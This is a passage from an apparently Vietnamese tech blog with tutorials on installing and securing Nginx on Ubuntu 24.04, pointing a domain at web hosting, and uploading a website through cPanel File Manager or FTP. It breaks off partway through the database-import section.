Kết quả đầu ra sẽ tương tự như sau:\n1 nginx version: nginx/1.24.0 (Ubuntu) Quản lý dịch vụ NGINX NGINX sử dụng dịch vụ nginx trong systemd để quản lý thời gian chạy và các tiến trình của web server trên máy chủ. Thực hiện các bước sau để kích hoạt dịch vụ NGINX và quản lý các tiến trình web server.\nKích hoạt dịch vụ NGINX khởi động cùng hệ thống\n1 sudo systemctl enable nginx Kết quả:\n1 2 Synchronizing state of nginx.service with SysV service script with /usr/lib/systemd/systemd-sysv-install. Executing: /usr/lib/systemd/systemd-sysv-install enable nginx Khởi động dịch vụ NGINX\n1 sudo systemctl start nginx Dừng dịch vụ NGINX\n1 sudo systemctl stop nginx Khởi động lại dịch vụ NGINX\n1 sudo systemctl restart nginx Kiểm tra trạng thái dịch vụ NGINX\n1 sudo systemctl status nginx Kết quả mẫu:\n1 2 3 4 5 6 7 8 9 10 11 12 13 ● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/usr/lib/systemd/system/nginx.service; enabled; preset: enabled) Active: active (running) since Wed 2024-06-26 10:55:50 UTC; 1min 0s ago Docs: man:nginx(8) Process: 2397 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS) Process: 2399 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS) Main PID: 2400 (nginx) Tasks: 2 (limit: 1068) Memory: 1.7M (peak: 2.4M) CPU: 13ms CGroup: /system.slice/nginx.service ├─2400 \u0026#34;nginx: master process /usr/sbin/nginx -g daemon on; master_process on;\u0026#34; └─2401 \u0026#34;nginx: worker process\u0026#34; Dựa vào giá trị Active: active (running), NGINX đang chạy trên máy chủ. Nếu trạng thái hiển thị Active: active (failed), hãy kiểm tra và dừng bất kỳ tiến trình nào đang sử dụng cổng HTTP 80, sau đó khởi động lại dịch vụ NGINX. Tạo nginx virtual host Nginx virtual host bao gồm các cấu hình đặc biệt giúp máy chủ web phân phối các tệp ứng dụng web từ một thư mục cụ thể bằng một tên miền cụ thể trên máy chủ của bạn. các bước sau đây sẽ hướng dẫn tạo một cấu hình virtual host mẫu để phân phối tệp ứng dụng web một cách an toàn trên máy chủ.\nTạo tệp cấu hình virtual host mới\nTrong thư mục /etc/nginx/sites-available, tạo một tệp cấu hình mới, ví dụ: app.example.com.conf. 1 $ sudo nano /etc/nginx/sites-available/app.example.com.conf Thêm các cấu hình sau vào tệp: 1 2 3 4 5 6 7 8 9 10 11 12 13 server { listen 80; listen [::]:80; server_name app.example.com; root /var/www/app.example.com; index index.html; location / { try_files $uri $uri/ =404; } } Lưu và đóng tệp. Kiểm tra cấu hình Nginx\nKiểm tra xem cấu hình Nginx có lỗi không: 1 $ sudo nginx -t Kết quả: 1 2 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful Kích hoạt virtual host\nLiên kết tệp cấu hình vào thư mục /etc/nginx/sites-enabled để kích hoạt virtual host: 1 $ sudo ln -s /etc/nginx/sites-available/app.example.com.conf /etc/nginx/sites-enabled/ Tạo thư mục web root\n1 $ sudo mkdir -p /var/www/app.example.com Tạo tệp html mẫu\nTạo tệp index.html trong thư mục web root: 1 $ sudo nano /var/www/app.example.com/index.html Thêm nội dung sau vào tệp: 1 2 3 4 5 6 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Hello Hoang Duong\u0026lt;/h1\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Lưu và đóng tệp. Khởi động lại nginx\n1 $ sudo systemctl restart nginx Kiểm tra virtual host\nSử dụng lệnh curl để kiểm tra virtual host: 1 $ curl http://app.example.com Kết quả: 1 Hello Hoang Duong Bảo mật máy chủ web Nginx SSL certificates giúp mã hóa giao tiếp giữa trình duyệt của người dùng và máy chủ Nginx thông qua HTTPS. Mặc định, Nginx lắng nghe kết nối đến trên cổng HTTP 80 không an toàn. Thực hiện các bước sau để tạo chứng chỉ SSL đáng tin cậy từ Let\u0026rsquo;s Encrypt và bảo mật máy chủ Nginx để chấp nhận các yêu cầu kết nối HTTPS được mã hóa.\nCài đặt Certbot – Let\u0026rsquo;s Encrypt Client\nCài đặt gói Certbot sử dụng Snap: 1 $ sudo snap install --classic certbot Kiểm tra phiên bản Certbot đã cài trên máy chủ: 1 $ sudo certbot --version Đầu ra mẫu:\n1 certbot 2.11.0 Tạo chứng chỉ SSL cho Nginx Tạo chứng chỉ SSL mới cho tên miền của bạn. Thay thế app.example.com bằng tên miền thực tế trong cấu hình Virtual Host Nginx: 1 $ sudo certbot --nginx -d app.example.com --agree-tos Quá trình này sẽ:\nTạo chứng chỉ SSL hợp lệ Tự động cấu hình Nginx để sử dụng SSL Kích hoạt HTTPS trên máy chủ web của bạn Kiểm tra tự động gia hạn chứng chỉ\nCác chứng chỉ SSL từ Let\u0026rsquo;s Encrypt có thời hạn 90 ngày. Để đảm bảo không bị hết hạn, bạn có thể kiểm tra tiến trình tự động gia hạn: 1 $ sudo certbot renew --dry-run Nếu không có lỗi nào xảy ra, nghĩa là chứng chỉ sẽ được tự động gia hạn đúng hạn.\nKiểm tra trang web hoạt động với https Mở trình duyệt và truy cập: 1 https://app.example.com Nếu thấy biểu tượng ổ khóa, tức là SSL đã được cài đặt thành công!\nThiết lập quy tắc tường lửa UFW Uncomplicated Firewall (UFW) được cài đặt và kích hoạt mặc định trên Ubuntu 24.04. Thực hiện các bước sau để cấu hình tường lửa, cho phép máy chủ Nginx lắng nghe kết nối HTTP và HTTPS.\nCho phép kết nối HTTP (Cổng 80)\nChạy lệnh sau để mở kết nối HTTP: 1 $ sudo ufw allow 80/tcp Cho phép kết nối HTTPS (Cổng 443)\nChạy lệnh sau để mở kết nối HTTPS: 1 $ sudo ufw allow 443/tcp Kiểm tra trạng thái tường lửa\nChạy lệnh sau để xác nhận quy tắc kết nối: 1 $ sudo ufw status Đầu ra mẫu:\n1 2 3 4 5 6 7 8 9 10 Status: active To Action From -- ------ ---- 22/tcp ALLOW Anywhere 80/tcp ALLOW Anywhere 443/tcp ALLOW Anywhere 22/tcp (v6) ALLOW Anywhere (v6) 80/tcp (v6) ALLOW Anywhere (v6) 443/tcp (v6) ALLOW Anywhere (v6) Sau khi thiết lập xong, máy chủ sẽ chỉ cho phép kết nối an toàn qua HTTP và HTTPS\nLời kết Chúc bạn cài đặt thành công Nginx trên máy chủ Ubuntu 24.04 và cấu hình web server để phục vụ các ứng dụng web. Nginx hỗ trợ nhiều cấu hình virtual host giúp bạn triển khai các ứng dụng web một cách an toàn. Ngoài ra, bạn có thể tích hợp Nginx với các ứng dụng khác như MySQL và PHP để xây dựng các ứng dụng web động. Để biết thêm thông tin chi tiết và các tùy chọn cấu hình khác, vui lòng truy cập tài liệu chính thức chính thức của Nginx.\n","date":"10/03/2025","image":"https://tech.nguuyen.io.vn/images/website/how-to-install-nginx.webp","permalink":"/vi/posts/installation-guides/how-to-install-nginx/","summary":"Hướng dẫn chi tiết cách cài đặt và cấu hình Nginx Web Server, giúp bạn nhanh chóng triển khai và tối ưu hiệu suất cho website của mình.","tags":["website","Nginx"],"title":"Hướng dẫn cài đặt Nginx trên Ubuntu 24.04 "},{"categories":["Website"],"content":"Tại sao cần phải trỏ tên miền về hosting? Tên miền và hosting là hai yếu tố quan trọng giúp website hoạt động.\nTên miền là địa chỉ website. Hosting là nơi lưu trữ dữ liệu website. Lý do cần trỏ tên miền Kết nối tên miền với hosting để website hiển thị trên internet. Giúp mọi người truy cập website bằng địa chỉ dễ nhớ. Cách thực hiện Lấy thông tin nameserver hoặc IP từ nhà cung cấp. Cấu hình trong trang quản lý domain. Ba cách trỏ tên miền về hosting đơn giản nhất Trỏ tên miền bằng nameserver Các bước thực hiện:\nĐăng nhập trình quản trị tên miền. Chọn tên miền cần trỏ. Chọn tên miền muốn trỏ về hosting\nThay đổi nameserver mặc định thành nameserver của hosting (thông tin này có trong email từ nhà cung cấp hosting). Thay đổi Nameserver mặc định thành Nameserver của hosting đã đăng ký\nChờ cập nhật (vài phút đến vài giờ, tuỳ vào server có thể cao nhất tới 24h). Kiểm tra bằng cách truy cập tên miền. Trỏ tên miền bằng IP (A record) Các bước thực hiện:\nĐăng nhập trình quản trị tên miền. Chọn tên miền muốn trỏ về hosting, sau đó chọn mục cấu hình DNS\nChọn mục cấu hình DNS. Thêm 2 bản ghi A record: @ → IP của hosting (Địa chỉ IP của hosting từ email nhà cung cấp gửi). www → IP của hosting. Thêm hai bản A record\nLưu thay đổi và chờ cập nhật (Quá trình này có thể nhanh hoặc lâu tùy thuộc vào hệ thống DNS. Có thể từ vài phút đến vài giờ). Trỏ tên miền bằng nameserver trung gian Để trỏ tên miền về hosting bằng Nameserver trung gian như CloudFlare, Namecheap FreeDNS, Incapsula, bạn có thể thực hiện theo các bước sau:\nCác bước thực hiện:\nĐăng ký tài khoản tại Nameserver trung gian \u0026gt; Xác nhận các bản ghi cần thiết để thêm website vào Nameserver trung gian. Truy cập vào khu vực quản lý tên miền của nhà cung cấp và thực hiện thay đổi Nameserver để trỏ tên miền về hosting qua Nameserver trung gian. Chờ cập nhật để hoàn tất. Một số lỗi thường gặp khi trỏ tên miền về hosting Khi trỏ tên miền về hosting, bạn có thể gặp một số lỗi phổ biến khiến website không hoạt động đúng cách. Hiểu và khắc phục các lỗi này sẽ giúp đảm bảo quá trình cấu hình diễn ra suôn sẻ.\nSai tên miền của hosting Khi đăng ký hosting, nhà cung cấp yêu cầu khai báo tên miền. Nếu nhập sai hoặc trỏ về một tên miền không khớp, website sẽ không hoạt động.\nSử dụng cả hai cách trỏ tên miền Nếu bạn đã trỏ tên miền bằng nameserver, không nên thay đổi sang IP (A record) và ngược lại, vì điều này có thể gây lỗi xung đột DNS.\nNhập sai loại bản ghi DNS Có nhiều loại bản ghi DNS như:\nA record: Trỏ tên miền về IP của hosting. CNAME: Chuyển hướng một tên miền sang tên miền khác. MX record: Cấu hình email. Nhập sai loại bản ghi có thể làm gián đoạn kết nối đến hosting.\nNhập sai địa chỉ IP của hosting IP hosting thường dài và dễ nhập sai. Bạn nên sao chép trực tiếp từ email của nhà cung cấp để tránh nhầm lẫn với IP của máy tính cá nhân hoặc thiết bị khác.\nNếu gặp lỗi, hãy kiểm tra lại thông tin và chờ một thời gian để DNS cập nhật hoàn tất.\nVideo hướng dẫn chi tiết Nếu bạn muốn xem hướng dẫn trực quan hơn, có thể tham khảo video dưới đây. Video này sẽ giúp bạn hiểu rõ từng bước trong việc trỏ tên miền về hosting, từ cách lấy thông tin nameserver đến việc cập nhật trong trình quản lý tên miền.\n― Nguồn, F8 Official\nLời kết Việc trỏ tên miền về hosting là một bước quan trọng để website của bạn có thể hoạt động chính xác trên Internet. Dù thực hiện theo cách nào—sử dụng nameserver, A record, hay nameserver trung gian—bạn cũng cần kiểm tra kỹ thông tin và kiên nhẫn chờ DNS cập nhật. Nếu gặp lỗi, hãy xem lại cài đặt và thử lại. Chúc bạn thực hiện thành công và website hoạt động ổn định! Nếu có vấn đề, cứ để lại comment, tôi sẽ xem thử nhé!\n","date":"27/02/2025","image":"https://tech.nguuyen.io.vn/images/website/domain-to-hosting-setup.webp","permalink":"/vi/posts/website/domain-to-hosting-setup/","summary":"Hướng dẫn ba cách trỏ tên miền về hosting dễ dàng, nhanh chóng nhất","tags":["website","hosting"],"title":"Trỏ tên miền về hosting"},{"categories":["Website"],"content":"Cách up website lên Hosting thông qua File Manager và cPanel nhanh nhất từ A-Z Việc upload website lên hosting là bước thiết yếu để đưa website của bạn hoạt động trên internet. Quá trình này không chỉ đơn giản là chuyển dữ liệu, mà còn liên quan đến việc đảm bảo mọi thứ hoạt động mượt mà và an toàn. Bài viết này sẽ giúp bạn hiểu rõ các bước cần thiết, từ chuẩn bị file và database, đến các công cụ hỗ trợ upload hiệu quả.\nĐiểm chính cần nắm Trước khi bắt tay vào việc upload website lên hosting, bạn cần lưu ý một số yếu tố quan trọng. Mình sẽ giúp bạn dễ dàng hiểu và nắm bắt các bước thực hiện:\nBạn cần chuẩn bị gì khi upload website lên hosting: Chuẩn bị file website, database, quyền truy cập control panel và phần mềm FTP như FileZilla.\nCác cách upload website lên hosting: Chọn hosting uy tín, sau đó sử dụng File Manager, FTP, plugin WordPress, SSH hoặc nhờ hỗ trợ từ nhà cung cấp.\nLý do cần upload website lên hosting: Giúp công khai website, tăng bảo mật, cải thiện tốc độ và dễ quản lý.\nBốn bước để upload web lên hosting:\nUpload file website vào thư mục public_html qua File Manager hoặc FTP. Kiểm tra xem các file đã đúng vị trí chưa. Tạo database trên cPanel, import dữ liệu qua phpMyAdmin và cấu hình kết nối. Truy cập website để kiểm tra xem mọi thứ đã hoạt động ổn định chưa. Cần chuẩn bị gì khi upload website lên hosting? Để upload website lên hosting, trước tiên bạn cần phải chuẩn bị một số vấn đề sau đây:\nFile website: Những file này có thể là toàn bộ dữ liệu bên trong phần public_html cũ hoặc file source code hay bản backup (sao lưu) dữ liệu mới nhất thay cho source code. Lưu ý khi triển khai website React/Vue.js\nKhi build một ứng dụng React hoặc Vue.js, ta không tải toàn bộ mã nguồn lên máy chủ,\nmà chỉ cần upload thư mục chứa các file tĩnh đã được build.\nCác bước build và nén tệp:\nChạy lệnh build: React: 1 npm run build Vue.js: 1 npm run build Sau khi build xong, thư mục output thường là build/ (React) hoặc dist/ (Vue.js). Nén thư mục build hoặc dist thành file ZIP trước khi tải lên máy chủ. Khi tải lên máy chủ:\nNếu dùng cPanel, có thể giải nén trực tiếp trong thư mục public_html. Nếu dùng SSH/SFTP, tải lên và giải nén bằng lệnh: 1 unzip build.zip -d /var/www/html/ Đảm bảo cấu hình máy chủ (Apache/Nginx) để trỏ vào thư mục chứa file index.html. File database (nếu có). Truy cập control panel của tài khoản hosting mới. Phần mềm FTP client như FileZilla. Để tải trang web lên hosting, bạn cần truy cập control panel của tài khoản hosting bằng phần mềm FTP như FileZilla. Nếu trang web đã có, bạn có thể dễ dàng sao lưu và tải lên bằng tính năng sao lưu của CMS hoặc cPanel.\nChọn nhà cung cấp hosting uy tín, tin cậy Web Hosting chất lượng không chỉ đảm bảo tốc độ mà còn quyết định hiệu suất vận hành lâu dài của website. Vì vậy, việc lựa chọn nhà cung cấp hosting cần được thực hiện cẩn thận, dựa trên các tiêu chí sau:\nHỗ trợ trực tuyến: Đảm bảo nhà cung cấp có dịch vụ hỗ trợ khách hàng 24/7, giúp bạn nhanh chóng giải quyết sự cố. Quyền kiểm soát tài khoản hosting: Bạn cần được cung cấp toàn quyền quản lý tài khoản hosting, bao gồm quyền truy cập vào cPanel hoặc các công cụ tương đương. Khả năng mở rộng: Hosting nên có khả năng nâng cấp tài nguyên khi nhu cầu của bạn tăng cao, như dung lượng lưu trữ, băng thông hoặc số lượng tên miền. Chính sách hoàn tiền minh bạch: Các chính sách hoàn tiền linh hoạt sẽ giúp bạn an tâm hơn khi thử nghiệm dịch vụ. Dịch vụ cộng thêm miễn phí: Ưu tiên nhà cung cấp hỗ trợ thêm các tiện ích như SSL miễn phí, sao lưu định kỳ hoặc dịch vụ di chuyển website. Đăng ký tên miền được công nhận bởi ICANN: Để bảo vệ thương hiệu của bạn, hãy chọn nhà cung cấp tên miền uy tín và được chứng nhận bởi ICANN. Lưu ý: Hãy tìm hiểu kỹ về đánh giá của người dùng và uy tín của nhà cung cấp thông qua các diễn đàn hoặc trang đánh giá trước khi đưa ra quyết định. Điều này sẽ giúp bạn chọn được dịch vụ phù hợp nhất với nhu cầu phát triển website.\nLựa chọn phương pháp upload website lên hosting Có 5 phương pháp chính để upload website lên hosting, tùy thuộc vào nhu cầu và công cụ bạn sử dụng:\nSử dụng công cụ quản lý file (File Manager) Là công cụ quản lý file trực tiếp trên nền tảng web của hosting, thường được tích hợp sẵn trong cPanel hoặc các trình quản lý hosting khác.\nƯu điểm:\nMiễn phí. Dễ dàng sử dụng. Nhược điểm:\nHạn chế dung lượng file tải lên (thường tối đa 256 MB). Chỉ giải nén được các file nhỏ hơn dung lượng này. Lưu ý: Khi dùng File Manager, bạn chỉ có thể tải hoặc giải nén file có dung lượng tối đa 256MB. Nếu muốn tải file lớn hơn, sử dụng FTP và giải nén qua SSH sẽ là lựa chọn tối ưu.\nHình 1: Truy cập vào File Manager\nSử dụng giao thức truyền tải file (FTP) Giao thức FTP (File Transfer Protocol) cho phép bạn tải file lên hosting thông qua phần mềm FTP client như FileZilla. Đây là phương pháp hiệu quả và không giới hạn dung lượng file tải lên.\nƯu điểm:\nKhông giới hạn dung lượng tải lên. Tải file lớn nhanh chóng và tiện lợi. Nhược điểm:\nCần cài đặt phần mềm FTP client. Cần thông tin đăng nhập FTP từ hosting. Bảo mật không cao, có thể sử dụng SFTP để an toàn hơn. Hình 2: Thông tin FPT\nSử dụng Plugin Di Chuyển WordPress Nếu bạn sử dụng WordPress, các plugin như All in One WP Migration có thể giúp bạn di chuyển toàn bộ website một cách tự động.\nƯu điểm:\nDễ sử dụng, không cần kiến thức kỹ thuật cao. Kéo thả file đơn giản. Nhược điểm:\nGiới hạn dung lượng file tải lên (thường là 256 MB). Với file lớn hơn, cần chuyển sang FTP và SSH. Lưu ý: Plugin này có giới hạn dung lượng, nếu muốn tải file lớn, bạn cần chuyển sang FTP và giải nén qua SSH. Sau khi upload, nhớ chuyển dữ liệu trong thư mục con ra ngoài public_html để website hoạt động chính xác.\nHình 3: Sử dụng WordPress Migration Plugin\nSử dụng SSH (Secure Shell) SSH là cách tải và quản lý file qua dòng lệnh, phù hợp với những file lớn hoặc yêu cầu tốc độ cao.\nƯu điểm:\nNhanh chóng, không giới hạn dung lượng. Có thể giải nén file trực tiếp trên server. Nhược điểm:\nYêu cầu kỹ năng sử dụng lệnh cơ bản và quyền truy cập SSH từ nhà cung cấp hosting. Hình 4: Sử dụng SSH upload website\nImport Site – Trình nhập website tự động Một số nhà cung cấp dịch vụ hosting cung cấp công cụ Import Site giúp tải và giải nén website vào thư mục public_html một cách nhanh chóng.\nƯu điểm:\nQuá trình tải lên nhanh chóng và dễ dàng. Không cần nhiều kiến thức kỹ thuật. Nhược điểm:\nPhụ thuộc vào nhà cung cấp hosting có hỗ trợ công cụ này. Không phải nhà cung cấp hosting nào cũng cung cấp công cụ này. Gợi ý: Kiểm tra với nhà cung cấp hosting xem họ có hỗ trợ công cụ nhập trang web hay không.\nHình 5: Tool nhập website\nNhờ sự hỗ trợ từ nhà cung cấp hosting Hầu hết các nhà cung cấp hosting đều có dịch vụ hỗ trợ di chuyển website, đặc biệt khi bạn chuyển từ dịch vụ hosting cũ sang nhà cung cấp mới.\nƯu điểm:\nTiết kiệm thời gian và tránh sai sót kỹ thuật. Được thực hiện bởi đội ngũ chuyên gia. Nhược điểm:\nCó thể mất phí nếu nhà cung cấp không hỗ trợ miễn phí. Thời gian xử lý phụ thuộc vào đội ngũ hỗ trợ. Gợi ý: Hãy kiểm tra chính sách hỗ trợ di chuyển website của nhà cung cấp hosting trước khi yêu cầu dịch vụ.\nHình 6: Nhờ sự hỗ trợ từ nhà cung cấp hosting\nLưu ý sau khi upload website lên hosting\nDi chuyển toàn bộ dữ liệu từ thư mục con (nếu có) ra ngoài public_html để website hoạt động chính xác. Kiểm tra lại cấu trúc file và kết nối database (nếu có) để tránh lỗi khi vận hành. Chọn phương pháp phù hợp nhất dựa trên kích thước file, nền tảng website và khả năng kỹ thuật của bạn. Lý do cần upload website lên Hosting Việc upload website lên hosting không chỉ là bước cần thiết để đưa website của bạn ra công chúng, mà còn mang lại nhiều lợi ích quan trọng giúp website hoạt động ổn định, bảo mật và hiệu quả. Dưới đây là những lý do bạn nên thực hiện việc này:\nXuất bản website và tiếp cận toàn cầu Khi bạn upload website lên hosting, website sẽ trở nên công khai và có thể truy cập từ bất kỳ đâu trên thế giới qua tên miền (domain) của bạn. Nếu không làm điều này, chỉ riêng bạn mới có thể truy cập website từ máy tính cá nhân.\nBảo mật và an toàn dữ liệu Hosting chuyên nghiệp mang lại những biện pháp bảo mật mạnh mẽ, chẳng hạn như chứng chỉ SSL, tường lửa và các công cụ bảo vệ dữ liệu khác. Điều này giúp đảm bảo an toàn cho website và cả dữ liệu thương hiệu khỏi các nguy cơ tấn công, mất mát hoặc xâm nhập dữ liệu, một vấn đề mà việc lưu trữ website trên máy tính cá nhân sẽ khó đảm bảo được.\nTăng tốc độ và hiệu suất Website Các máy chủ hosting được tối ưu để xử lý lưu lượng truy cập lớn và cung cấp tốc độ internet nhanh chóng, giúp tăng cường hiệu suất tải trang của website. Điều này có nghĩa là người dùng sẽ có trải nghiệm mượt mà hơn, đồng thời giảm thiểu tình trạng website bị \u0026ldquo;lag\u0026rdquo; hoặc tải chậm, một yếu tố quan trọng trong việc giữ chân người truy cập.\nHình 7: Tăng tốc độ và hiệu suất Website\nTính ổn định và tin cậy Khi website được lưu trữ trên hosting, bạn không phải lo lắng về việc duy trì phần cứng hay kết nối mạng. Các nhà cung cấp hosting sẽ đảm bảo server luôn hoạt động ổn định với thời gian uptime cao, giúp website của bạn luôn sẵn sàng phục vụ người dùng mà không gặp phải sự cố downtime kéo dài.\nQuản lý website dễ dàng và tiện lợi Các nhà cung cấp hosting cung cấp giao diện quản lý thân thiện và dễ sử dụng, giúp bạn dễ dàng theo dõi, tối ưu và bảo trì website. Từ việc sao lưu dữ liệu, nâng cấp phần mềm cho đến việc tối ưu hóa hiệu suất, tất cả đều trở nên đơn giản hơn khi bạn sử dụng dịch vụ hosting chuyên nghiệp.\nTính mở rộng và phát triển lâu dài Hosting không chỉ phục vụ website trong giai đoạn đầu, mà còn hỗ trợ khả năng mở rộng khi website của bạn phát triển. Nếu lưu trữ trên máy tính cá nhân, bạn sẽ gặp khó khăn khi website tăng trưởng về lưu lượng truy cập hay yêu cầu về tài nguyên. Hosting chuyên nghiệp sẽ giúp bạn dễ dàng nâng cấp tài nguyên mà không phải lo lắng về việc mất dữ liệu hay gián đoạn dịch vụ.\nHình 8: Tính mở rộng và phát triển lâu dài\nTóm lại, việc upload website lên hosting mang lại những lợi ích vượt trội về bảo mật, hiệu suất, tính ổn định và khả năng quản lý, giúp website của bạn hoạt động hiệu quả và bền vững. Đây là bước quan trọng để không chỉ bảo vệ dữ liệu mà còn tạo ra một nền tảng vững chắc để phát triển website trong tương lai. Vì vậy, nếu bạn muốn website của mình hoạt động trơn tru và dễ dàng truy cập từ mọi nơi, việc upload lên hosting là điều không thể thiếu.\nBước 1: Chọn cách upload file website lên host Cách 1: Upload website lên hosting bằng File Manager qua cPanel Cách 2: Upload website lên hosting bằng FTP client Sau khi bạn đã lựa chọn xong cách để upload, dưới đây là hướng dẫn cách upload website lên hosting đơn giản, bạn có thể tham khảo.\n\u0026mdash;Cách 1: Upload website lên hosting bằng File Manager qua cPanel\u0026mdash; (Dễ nhất)\nTruy cập cPanel của tài khoản hosting và làm theo hướng dẫn dưới đây:\nBước 1: Click vào icon File Manager, đặt bên dưới mục Files.\nChọn File Manager\nHình ảnh minh họa: Chọn File Manager\nChọn File Manager\nBước 2: Trong File Manager, mở thư mục public_html.\nMở thư mục public_html\nHình ảnh minh họa: Mở thư mục public_html\nMở thư mục public_html\nBước 3: Chọn Upload sau khi truy cập vào thư mục public_html.\nChọn Upload\nHình ảnh minh họa: Chọn Upload\nChọn Upload\nBước 4: Chọn Select File để chọn từng file hoặc kéo thả vào vùng nhận file.\nChọn file\nHình ảnh minh họa: Chọn file\nChọn file\nBước 5: Trong ví dụ này, mình kéo thả file wordpress.zip.\nChọn file zip wordpress\nHình ảnh minh họa: Chọn file zip wordpress (hoặc file dist.zip/build.zip)\nChọn file zip wordpress\nBước 6: Khi upload xong, quay lại File Manager để thấy file archive đã xuất hiện trong thư mục public_html. Click chuột phải và nhấn Extract để giải nén file archive.\nExtract file\nHình ảnh minh họa: Extract file\nExtract file\nBước 7: Chọn vị trí file archive cần extract, ở ví dụ này sẽ lưu vào /public_html.\nChọn vị trí file cần extract\nHình ảnh minh họa: Chọn vị trí file cần extract\nChọn vị trí file cần extract\nBước 8: Sau khi giải nén file, bạn có thể xem các file đã được giải nén trong thư mục public_html. Đây là thư mục gốc của website.\nQuay lại thư mục ban đầu để xem\nHình ảnh minh họa: Quay lại thư mục ban đầu để xem\nQuay lại thư mục ban đầu để xem\nBước 9: Trang web đã tải xong. Bạn có thể truy cập vào trang web bằng cách nhập URL vào trình duyệt.\nMàn hình chọn ngôn ngữ trong quá trình cài đặt WordPress (Nếu có)\n\u0026mdash;Cách 2: Upload website lên hosting bằng FTP client\u0026mdash;\nMột số người dùng thích tải trang web của họ lên dịch vụ hosting qua FTP, ví dụ: FileZilla, SmartFTP, CoreFTP hoặc bất kỳ phần mềm nào khác. Trong các hướng dẫn sau, mình sẽ sử dụng FileZilla.\nNhững lưu ý trước khi upload website lên hosting:\nKiến thức và kỹ năng của bạn: Nếu bạn không có nhiều kiến thức về hosting, File Manager sẽ dễ sử dụng hơn. Nếu bạn thành thạo, FTP client sẽ giúp tải lên nhanh hơn. Kích thước của website: Nếu website có dung lượng lớn, FTP client sẽ thuận tiện hơn vì không giới hạn dung lượng tải lên. Yêu cầu đặc thù của website: Nếu website yêu cầu cấu hình server đặc biệt, bạn nên hỏi nhà cung cấp hosting để chọn cách upload phù hợp. Bước 1: Trước tiên, bạn cần lấy thông tin FTP thông qua FTP Access. Nếu quên mật khẩu, bạn có thể đặt mật khẩu mới qua phần Change account password.\nLấy thông tin qua FTP Access\nHình ảnh minh họa: Lấy thông tin qua FTP Access\nLấy thông tin qua FTP Access\nBước 2: Mở FileZilla, điền thông tin FTP để truy cập và nhấn Quickconnect.\nChọn Quickconnect\nHình ảnh minh họa: Chọn Quickconnect\nChọn Quickconnect\nBước 3: Sau khi kết nối với FileZilla, tìm dữ liệu trang web và kéo chúng từ bên trái của phần mềm sang bên phải, thư mục đích là public_html. Bạn cần giải nén file archive trước, vì FTP không có chức năng giải nén.\nKéo thả dữ liệu từ bên trái của phần mềm sang bên phải\nHình ảnh minh họa: Kéo thả dữ liệu từ bên trái của phần mềm sang bên phải\nKéo thả dữ liệu từ bên trái của phần mềm sang bên phải\nBước 4: Tương tự, bạn có thể upload file nén qua FTP bằng cách kéo thả từ trái sang phải. Sau đó, giải nén chúng thông qua File Manager.\nUpload file nén qua FTP\nHình ảnh minh họa: Upload file nén qua FTP\nUpload file nén qua FTP\nBước 5: Sau khi tải trang web lên hosting, bạn có thể truy cập trang web bằng cách nhập URL vào trình duyệt. Bạn sẽ thấy trang cài đặt mặc định của website và có thể tùy chỉnh trang này để phù hợp với nhu cầu của mình.\nBước 2: Kiểm tra xem file đã ở trong thư mục public_html hay chưa Sau khi upload website lên hosting, bước đầu tiên bạn cần làm là kiểm tra xem các file đã được tải đầy đủ vào thư mục public_html chưa. Bạn có thể mở thư mục public_html và kiểm tra xem tất cả các file đã nằm trong đó chưa. Nếu bạn tạo ra thư mục mới sau khi upload và giải nén website backup, người dùng sẽ phải truy cập theo đường dẫn dạng example.com/something thay vì example.com. Để khắc phục điều này, bạn có thể sử dụng File Manager hoặc FTP theo các bước sau:\nTruy cập vào thư mục chứa các file của website. Chọn toàn bộ các file và nhấn chuột phải, sau đó chọn nút Move. Lựa chọn thư mục đích là public_html và nhấn Proceed. Nếu website của bạn đã được vận hành một thời gian, bạn cũng cần phải upload database lên hosting nếu chưa thực hiện.\nSau khi đã đảm bảo các file đã được di chuyển đúng vào thư mục public_html, bạn có thể kiểm tra website bằng cách mở trình duyệt và truy cập vào tên miền của mình. Nếu tên miền chưa được trỏ đúng, bạn có thể sử dụng các phương pháp sau để kiểm tra và sửa lỗi DNS:\nSửa file hosts trên máy tính để giả lập thay đổi DNS. Sử dụng các công cụ online để kiểm tra tên miền. Cài đặt plugin trình duyệt để tạo file host ảo. Ngoài ra, nếu bạn cần di chuyển website từ thư mục con lên thư mục gốc (public_html), bạn có thể sử dụng File Manager hoặc FTP để thực hiện. Và bạn đừng quên tải lại cơ sở dữ liệu lên hosting nếu cần thiết.\nBước 3: Tiến hành upload database lên website hosting Thực hiện bước này khi website của người dùng đã có sẵn database. Nếu không, bạn có thể bỏ qua bước này.\nTạo database trên cPanel Tạo một database mới tại section MySQL Databases. Khi tạo database bạn cần điền và ghi chú lại những thông số database như sau:\nMySQL Database MySQL User MySQL Host MySQL Password Tạo database mới\nDi chuyển vào phpMyAdmin của database Khi sử dụng phpMyAdmin để quản lý database, hãy import database MySQL. Nếu bạn muốn upload vào một database có sẵn, hãy xóa dữ liệu trước để tránh lỗi khi tải lên từ máy tính.\nDi chuyển vào phpMyAdmin\nDi chuyển vào tab Import và upload dữ liệu vào database Nếu là lần đầu tạo database, chỉ cần vào tab Import để upload dữ liệu vào database trống. Bạn đã có một file SQL từ bản sao lưu của trang web, có thể là file dạng text với đuôi .sql hoặc dạng nén như .sql.zip hay .sql.gz. Hãy nhấn nút Choose File để chọn file cơ sở dữ liệu và sau đó bấm nút Go để bắt đầu quá trình tải lên. Khi phpMyAdmin hoàn tất và hiển thị thông báo Import has been successfully finished, 302 queries executed, có nghĩa là quá trình tải lên cơ sở dữ liệu đã hoàn tất.\nImport dữ liệu vào database\nCập nhật file cấu hình để kết nối website và database Sau khi tải database lên server, bạn cần mở file cấu hình PHP script để điền thông tin như host, tên database, tên người dùng và mật khẩu. File cấu hình có thể có tên và vị trí khác nhau tùy thuộc vào phần mềm bạn sử dụng. Ví dụ, với WordPress, file cấu hình là wp-config.php và nằm trong thư mục chứa WordPress (thường là public_html).\nLưu ý:\nNếu cơ sở dữ liệu của bạn có kích thước lớn, hãy cân nhắc chia nhỏ database thành nhiều file để quá trình tải lên diễn ra nhanh chóng hơn. Nếu 